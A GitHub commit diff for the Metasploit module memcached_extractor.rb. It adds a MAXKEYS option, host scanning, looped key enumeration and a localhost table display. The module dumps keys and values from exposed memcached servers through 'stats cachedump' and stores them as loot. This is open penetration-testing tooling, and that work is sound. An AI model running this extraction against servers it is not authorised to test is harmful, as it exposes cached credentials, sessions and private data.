Skip to content

Commit db31852

Browse files
committed
add maxkeys option, dont store loot if localhost and improve streaming
1 parent f1bcbb7 commit db31852

File tree

1 file changed

+34
-12
lines changed

1 file changed

+34
-12
lines changed

modules/auxiliary/gather/memcached_extractor.rb

Lines changed: 34 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@
77

88
class Metasploit3 < Msf::Auxiliary
99
include Msf::Exploit::Remote::Tcp
10+
include Msf::Auxiliary::Scanner
1011
include Msf::Auxiliary::Report
1112

1213
def initialize(info = {})
@@ -16,24 +17,33 @@ def initialize(info = {})
1617
This module extracts the slabs from a memcached instance. It then
1718
finds the keys and values stored in those slabs.
1819
),
19-
'Author' => [ 'Paul Deardorff <paul_deardorff[at]rapid7.com>' ],
20-
'License' => MSF_LICENSE
20+
'Author' => [ 'Paul Deardorff <paul_deardorff[at]rapid7.com>' ],
21+
'License' => MSF_LICENSE
2122
))
2223

2324
register_options(
2425
[
25-
Opt::RPORT(11211)
26+
Opt::RPORT(11211),
27+
OptInt.new('MAXKEYS', [ true, 'Maximum number of keys to be pulled from a slab', 100] )
2628
], self.class)
2729
end
2830

31+
def max_keys
32+
datastore['MAXKEYS'].to_i
33+
end
34+
2935
# Returns array of keys for all slabs
3036
def enumerate_keys
3137
keys = []
3238
enumerate_slab_ids.each do |sid|
33-
sock.send("stats cachedump #{sid} 100\r\n", 0)
34-
data = sock.recv(4096)
35-
matches = /^ITEM (?<key>.*) \[/.match(data)
36-
keys << matches[:key] if matches
39+
loop do
40+
sock.send("stats cachedump #{sid} #{max_keys}\r\n", 0)
41+
data = sock.recv(4096)
42+
break if !data || data.length == 0
43+
matches = /^ITEM (?<key>.*) \[/.match(data)
44+
keys << matches[:key] if matches
45+
break if data =~ /^END/
46+
end
3747
end
3848
keys
3949
end
@@ -76,17 +86,29 @@ def determine_version
7686
matches[:version] || 'unkown version'
7787
end
7888

79-
def run
80-
print_status("#{rhost}:#{rport} - Connecting to memcached server...")
89+
def run_host(ip)
90+
print_status("#{ip}:#{rport} - Connecting to memcached server...")
8191
begin
8292
connect
8393
print_good("Connected to memcached #{determine_version}")
8494
keys = enumerate_keys
8595
print_good("Found #{keys.size} keys")
96+
return if keys.size == 0
97+
8698
data = data_for_keys(keys)
87-
rhost = 'localhost.memcached' if %w(localhost 127.0.0.1).include?(rhost)
88-
store_loot('memcached.dump', 'text/plain', rhost, data, 'memcached.txt', 'Memcached extractor')
89-
print_good("Loot stored!")
99+
if %w(localhost 127.0.0.1).include?(ip)
100+
result_table = Rex::Ui::Text::Table.new(
101+
'Header' => "Keys/Values Found for #{ip}:#{rport}",
102+
'Indent' => 1,
103+
'Columns' => [ 'Key', 'Value' ]
104+
)
105+
data.take(10).each { |r| result_table << r }
106+
print_line
107+
print_line("#{result_table}")
108+
else
109+
store_loot('memcached.dump', 'text/plain', ip, data, 'memcached.txt', 'Memcached extractor')
110+
print_good("Loot stored!")
111+
end
90112
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout
91113
print_error("Could not connect to memcached server!")
92114
end

0 commit comments

Comments
 (0)